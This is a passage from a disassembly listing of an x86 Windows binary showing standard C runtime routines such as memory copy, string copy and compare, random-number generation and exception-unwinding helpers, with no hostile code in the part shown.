bp-based frame sub_41624C proc near ; CODE XREF: sub_41A170+C6p ; sub_41A317+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_4162A3 loc_41626A: ; CODE XREF: sub_41624C+52j cmp esi, 0FFFFFFFFh jnz short loc_416274 call sub_41A982 loc_416274: ; CODE XREF: sub_41624C+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_416289 cmp ecx, [eax+8] jle short loc_41628E loc_416289: ; CODE XREF: sub_41624C+36j cmp esi, 0FFFFFFFFh jnz short loc_41629A loc_41628E: ; CODE XREF: sub_41624C+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41629A: ; CODE XREF: sub_41624C+40j cmp [ebp+arg_4], 0 jge short loc_41626A mov eax, [ebp+var_4] loc_4162A3: ; CODE XREF: sub_41624C+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_4162B7 cmp esi, eax jbe short loc_4162BC loc_4162B7: ; CODE XREF: sub_41624C+65j call sub_41A982 loc_4162BC: ; CODE XREF: sub_41624C+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41624C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162C8 proc near ; CODE XREF: sub_41D854+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_4162E0 push [ebp+arg_0] call sub_421268 ; RtlUnwind loc_4162E0: ; DATA XREF: sub_4162C8+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4162C8 endp ; =============== S U B R O U T I N E ======================================= sub_4162E8 proc near ; DATA XREF: sub_41630A+Ao ; sub_416372+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_416309 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_416309: ; CODE XREF: sub_4162E8+10j retn sub_4162E8 endp ; =============== S U B R O U T I N E ======================================= sub_41630A proc near ; CODE XREF: sub_41A5F1+Dp ; sub_41D854+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4162E8 push large dword ptr fs:0 mov large fs:0, esp loc_416327: ; CODE XREF: sub_41630A:loc_416362j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_416364 cmp esi, [esp+1Ch+arg_4] jz short loc_416364 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_416362 push 101h mov eax, [ebx+esi*4+8] call sub_41639E call dword ptr [ebx+esi*4+8] loc_416362: ; CODE XREF: sub_41630A+44j jmp short loc_416327 ; --------------------------------------------------------------------------- loc_416364: ; CODE XREF: sub_41630A+2Aj ; sub_41630A+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41630A endp ; =============== S U B R O U T I N E ======================================= sub_416372 proc near ; CODE XREF: sub_41A611+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4162E8 jnz short locret_416394 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_416394 mov eax, 1 locret_416394: ; CODE XREF: sub_416372+10j ; sub_416372+1Bj retn sub_416372 endp ; =============== S U B R O U T I N E ======================================= sub_416395 proc near ; CODE XREF: sub_41A8D0+1Ep ; sub_41A8D0+40p push ebx push ecx mov ebx, offset dword_435A7C jmp short loc_4163A8 sub_416395 endp ; =============== S U B R O U T I N E ======================================= sub_41639E proc near ; CODE XREF: sub_41630A+4Fp ; sub_41D854+78p push ebx push ecx mov ebx, offset dword_435A7C mov ecx, [ebp+8] loc_4163A8: ; CODE XREF: sub_416395+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41639E endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4163B8 proc near ; CODE XREF: sub_402120+5p ; sub_40232A+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4163B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163D7 proc near ; CODE XREF: sub_40232A+69p ; sub_402413+66p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41AAED add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_416416 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_416423 ; --------------------------------------------------------------------------- loc_416416: ; CODE XREF: sub_4163D7+35j lea eax, [ebp+var_20] push eax push 0 call sub_41A9D8 pop ecx pop ecx loc_416423: ; CODE XREF: sub_4163D7+3Dj mov eax, esi pop esi leave retn sub_4163D7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416430 proc near ; CODE XREF: sub_4029BE+3Ap ; sub_418342+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_416450 cmp edi, eax jb loc_4165C8 loc_416450: ; CODE XREF: sub_416430+16j test edi, 3 jnz short loc_41646C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41648C rep movsd jmp ds:off_416578[edx*4] ; --------------------------------------------------------------------------- loc_41646C: ; CODE XREF: sub_416430+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_416484 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41648C+4[eax*4] ; --------------------------------------------------------------------------- loc_416484: ; CODE XREF: sub_416430+46j jmp dword ptr ds:loc_416588[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41648C: ; CODE XREF: sub_416430+31j ; sub_416430+8Ej ... jmp ds:off_41650C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4164A0 dd offset loc_4164CC dd offset loc_4164F0 ; --------------------------------------------------------------------------- loc_4164A0: ; DATA XREF: sub_416430+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41648C rep movsd jmp ds:off_416578[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4164CC: ; DATA XREF: sub_416430+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41648C rep movsd jmp ds:off_416578[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4164F0: ; DATA XREF: sub_416430+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41648C rep movsd jmp ds:off_416578[edx*4] ; --------------------------------------------------------------------------- align 4 off_41650C dd offset loc_41656F ; DATA XREF: sub_416430:loc_41648Cr dd offset loc_41655C dd offset loc_416554 dd offset loc_41654C dd offset loc_416544 dd offset loc_41653C dd offset loc_416534 dd offset loc_41652C ; --------------------------------------------------------------------------- loc_41652C: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_416534: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41653C: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_416544: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41654C: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_416554: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41655C: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41656F: ; CODE XREF: sub_416430:loc_41648Cj ; DATA XREF: sub_416430:off_41650Co jmp ds:off_416578[edx*4] ; --------------------------------------------------------------------------- align 4 off_416578 dd offset loc_416588 ; DATA XREF: sub_416430+35r ; sub_416430+92r ... dd offset loc_416590 dd offset loc_41659C dd offset loc_4165B0 ; --------------------------------------------------------------------------- loc_416588: ; CODE XREF: sub_416430+35j ; sub_416430+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_416590: ; CODE XREF: sub_416430+35j ; sub_416430+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41659C: ; CODE XREF: sub_416430+35j ; sub_416430+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165B0: ; CODE XREF: sub_416430+35j ; sub_416430+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4165C8: ; CODE XREF: sub_416430+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4165FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4165F0 std rep movsd cld jmp ds:off_416710[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4165F0: ; CODE XREF: sub_416430+1B1j ; sub_416430+208j ... neg ecx jmp ds:off_4166C0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4165FC: ; CODE XREF: sub_416430+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_416614 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_416614+4[eax*4] ; --------------------------------------------------------------------------- loc_416614: ; CODE XREF: sub_416430+1D6j ; DATA XREF: sub_416430+1DDr jmp ds:off_416710[ecx*4] ; --------------------------------------------------------------------------- align 4 sub [esi+41h], ah add [eax+66h], cl inc ecx add [eax+66h], dh inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4165F0 std rep movsd cld jmp ds:off_416710[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4165F0 std rep movsd cld jmp ds:off_416710[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4165F0 std rep movsd cld jmp ds:off_416710[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4166C4 dd offset loc_4166CC dd offset loc_4166D4 dd offset loc_4166DC dd offset loc_4166E4 dd offset loc_4166EC dd offset loc_4166F4 off_4166C0 dd offset loc_416707 ; DATA XREF: sub_416430+1C2r ; --------------------------------------------------------------------------- loc_4166C4: ; DATA XREF: sub_416430+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4166CC: ; DATA XREF: sub_416430+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4166D4: ; DATA XREF: sub_416430+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4166DC: ; DATA XREF: sub_416430+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4166E4: ; DATA XREF: sub_416430+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4166EC: ; DATA XREF: sub_416430+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4166F4: ; DATA XREF: sub_416430+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_416707: ; CODE XREF: sub_416430+1C2j ; DATA XREF: sub_416430:off_4166C0o jmp ds:off_416710[edx*4] ; --------------------------------------------------------------------------- align 10h off_416710 dd offset loc_416720 ; DATA XREF: sub_416430+1B7r ; sub_416430:loc_416614r ... dd offset loc_416728 dd offset loc_416738 dd offset loc_41674C ; --------------------------------------------------------------------------- loc_416720: ; CODE XREF: sub_416430+1B7j ; sub_416430:loc_416614j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416728: ; CODE XREF: sub_416430+1B7j ; sub_416430:loc_416614j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416738: ; CODE XREF: sub_416430+1B7j ; sub_416430:loc_416614j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41674C: ; CODE XREF: sub_416430+1B7j ; sub_416430:loc_416614j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_416430 endp ; =============== S U B R O U T I N E ======================================= sub_416765 proc near ; CODE XREF: sub_402A3E+34p ; sub_402A3E+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_415D0A pop ecx pop ecx retn sub_416765 endp ; =============== S U B R O U T I N E ======================================= sub_416773 proc near ; CODE XREF: sub_4167E0+4p arg_0 = dword ptr 4 push esi push dword_49429C call sub_41B2F7 mov edx, dword_49429C pop ecx mov ecx, dword_494298 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_4167D2 push edx call sub_41B2F7 add eax, 10h push eax push dword_49429C call sub_416ED2 add esp, 0Ch test eax, eax jnz short loc_4167B5 retn ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_416773+3Fj mov ecx, dword_494298 sub ecx, dword_49429C mov dword_49429C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_494298, ecx loc_4167D2: ; CODE XREF: sub_416773+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_494298, 4 retn sub_416773 endp ; =============== S U B R O U T I N E ======================================= sub_4167E0 proc near ; CODE XREF: sub_402B66+1Fp ; sub_4158B1+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_416773 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_4167E0 endp ; =============== S U B R O U T I N E ======================================= sub_4167F2 proc near ; DATA XREF: .data:00429418o push 80h call sub_415CF8 test eax, eax pop ecx mov dword_49429C, eax jnz short loc_416813 push 18h call sub_417FC6 mov eax, dword_49429C pop ecx loc_416813: ; CODE XREF: sub_4167F2+12j and dword ptr [eax], 0 mov eax, dword_49429C mov dword_494298, eax retn sub_4167F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416821 proc near ; CODE XREF: sub_402D46+2Dp ; sub_4034D1+19p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41AAED add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_416861 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41686E ; --------------------------------------------------------------------------- loc_416861: ; CODE XREF: sub_416821+36j lea eax, [ebp+var_20] push eax push 0 call sub_41A9D8 pop ecx pop ecx loc_41686E: ; CODE XREF: sub_416821+3Ej mov eax, esi pop esi leave retn sub_416821 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416880 proc near ; CODE XREF: sub_402D46+8p ; .text:00403CC3p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4168A0 loc_41688C: ; CODE XREF: sub_416880+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41688C loc_4168A0: ; CODE XREF: sub_416880+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_4034D1+5Cp ; sub_4034D1+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_416964 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_4168DA loc_4168CB: ; CODE XREF: sub_4168B0+28j mov al, [edi] inc edi test al, al jz short loc_41690B test edi, 3 jnz short loc_4168CB loc_4168DA: ; CODE XREF: sub_4168B0+19j ; sub_4168B0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_4168DA mov eax, [edi-4] test al, al jz short loc_416918 test ah, ah jz short loc_416913 test eax, 0FF0000h jz short loc_41690E test eax, 0FF000000h jnz short loc_4168DA loc_41690B: ; CODE XREF: sub_4168B0+20j dec edi jmp short loc_41691B ; --------------------------------------------------------------------------- loc_41690E: ; CODE XREF: sub_4168B0+52j sub edi, 2 jmp short loc_41691B ; --------------------------------------------------------------------------- loc_416913: ; CODE XREF: sub_4168B0+4Bj sub edi, 3 jmp short loc_41691B ; --------------------------------------------------------------------------- loc_416918: ; CODE XREF: sub_4168B0+47j sub edi, 4 loc_41691B: ; CODE XREF: sub_4168B0+5Cj ; sub_4168B0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_416930 mov ebx, ecx shr ecx, 2 jnz short loc_41697C jmp short loc_41694C ; --------------------------------------------------------------------------- loc_416930: ; CODE XREF: sub_4168B0+75j ; sub_4168B0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41696A mov [edi], dl inc edi dec ecx jz short loc_416960 test esi, 3 jnz short loc_416930 mov ebx, ecx shr ecx, 2 jnz short loc_41697C loc_41694C: ; CODE XREF: sub_4168B0+7Ej ; sub_4168B0+CAj mov ecx, ebx and ecx, 3 jz short loc_416960 loc_416953: ; CODE XREF: sub_4168B0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_416962 dec ecx jnz short loc_416953 loc_416960: ; CODE XREF: sub_4168B0+8Bj ; sub_4168B0+A1j mov [edi], cl loc_416962: ; CODE XREF: sub_4168B0+ABj pop ebx pop esi loc_416964: ; CODE XREF: sub_4168B0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41696A: ; CODE XREF: sub_4168B0+85j ; sub_4168B0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416974: ; CODE XREF: sub_4168B0+E4j ; sub_4168B0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41694C loc_41697C: ; CODE XREF: sub_4168B0+7Cj ; sub_4168B0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416974 test dl, dl jz short loc_41696A test dh, dh jz short loc_4169C8 test edx, 0FF0000h jz short loc_4169B8 test edx, 0FF000000h jnz short loc_416974 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4169B8: ; CODE XREF: sub_4168B0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4169C8: ; CODE XREF: sub_4168B0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4168B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169E0 proc near ; CODE XREF: sub_403661+2A2p ; sub_4087B3+22A9p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_416A01 xor eax, eax jmp short loc_416A03 ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_4169E0+1Bj mov eax, edi loc_416A03: ; CODE XREF: sub_4169E0+1Fj cld pop edi leave retn sub_4169E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416A10 proc near ; CODE XREF: sub_403661+6Ep ; sub_403661+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_416A93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416A34 shr ecx, 2 jnz short loc_416AA1 jmp short loc_416A55 ; --------------------------------------------------------------------------- loc_416A34: ; CODE XREF: sub_416A10+1Bj ; sub_416A10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_416A62 test al, al jz short loc_416A6A test esi, 3 jnz short loc_416A34 mov ebx, ecx shr ecx, 2 jnz short loc_416AA1 loc_416A50: ; CODE XREF: sub_416A10+8Fj and ebx, 3 jz short loc_416A62 loc_416A55: ; CODE XREF: sub_416A10+22j ; sub_416A10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_416A8E dec ebx jnz short loc_416A55 loc_416A62: ; CODE XREF: sub_416A10+2Bj ; sub_416A10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416A6A: ; CODE XREF: sub_416A10+2Fj test edi, 3 jz short loc_416A84 loc_416A72: ; CODE XREF: sub_416A10+72j mov [edi], al inc edi dec ecx jz loc_416B06 test edi, 3 jnz short loc_416A72 loc_416A84: ; CODE XREF: sub_416A10+60j mov ebx, ecx shr ecx, 2 jnz short loc_416AF7 loc_416A8B: ; CODE XREF: sub_416A10+7Fj ; sub_416A10+F4j mov [edi], al inc edi loc_416A8E: ; CODE XREF: sub_416A10+4Dj dec ebx jnz short loc_416A8B pop ebx pop esi loc_416A93: ; CODE XREF: sub_416A10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_416A10+A9j ; sub_416A10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_416A50 loc_416AA1: ; CODE XREF: sub_416A10+20j ; sub_416A10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416A99 test dl, dl jz short loc_416AEB test dh, dh jz short loc_416AE1 test edx, 0FF0000h jz short loc_416AD7 test edx, 0FF000000h jnz short loc_416A99 mov [edi], edx jmp short loc_416AEF ; --------------------------------------------------------------------------- loc_416AD7: ; CODE XREF: sub_416A10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_416AEF ; --------------------------------------------------------------------------- loc_416AE1: ; CODE XREF: sub_416A10+B1j and edx, 0FFh mov [edi], edx jmp short loc_416AEF ; --------------------------------------------------------------------------- loc_416AEB: ; CODE XREF: sub_416A10+ADj xor edx, edx mov [edi], edx loc_416AEF: ; CODE XREF: sub_416A10+C5j ; sub_416A10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_416B01 loc_416AF7: ; CODE XREF: sub_416A10+79j xor eax, eax loc_416AF9: ; CODE XREF: sub_416A10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_416AF9 loc_416B01: ; CODE XREF: sub_416A10+E5j and ebx, 3 jnz short loc_416A8B loc_416B06: ; CODE XREF: sub_416A10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416A10 endp ; =============== S U B R O U T I N E ======================================= sub_416B0E proc near ; CODE XREF: .text:00403F34p ; .text:00405BA4p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_435A90, eax retn sub_416B0E endp ; =============== S U B R O U T I N E ======================================= sub_416B18 proc near ; CODE XREF: sub_403B34+4Dp ; sub_403B34+5Ap ... mov eax, dword_435A90 imul eax, 343FDh add eax, 269EC3h mov dword_435A90, eax sar eax, 10h and eax, 7FFFh retn sub_416B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B36 proc near ; CODE XREF: sub_403B34+40p ; .text:00405DB6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_4158E0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41B320 add esp, 10h leave retn sub_416B36 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416B70 proc near ; CODE XREF: sub_40448A+1Dp ; sub_405673+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_416BBC loc_416B80: ; CODE XREF: sub_416B70+3Cj ; sub_416B70+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_416BB4 or al, al jz short loc_416BB0 cmp ah, [ecx+1] jnz short loc_416BB4 or ah, ah jz short loc_416BB0 shr eax, 10h cmp al, [ecx+2] jnz short loc_416BB4 or al, al jz short loc_416BB0 cmp ah, [ecx+3] jnz short loc_416BB4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_416B80 mov edi, edi loc_416BB0: ; CODE XREF: sub_416B70+18j ; sub_416B70+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_416BB4: ; CODE XREF: sub_416B70+14j ; sub_416B70+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_416BBC: ; CODE XREF: sub_416B70+Ej test edx, 1 jz short loc_416BD8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_416BB4 inc ecx or al, al jz short loc_416BB0 test edx, 2 jz short loc_416B80 loc_416BD8: ; CODE XREF: sub_416B70+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_416BB4 or al, al jz short loc_416BB0 cmp ah, [ecx+1] jnz short loc_416BB4 or ah, ah jz short loc_416BB0 add ecx, 2 jmp short loc_416B80 sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BF4 proc near ; CODE XREF: sub_404651+19p ; sub_40E485+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, 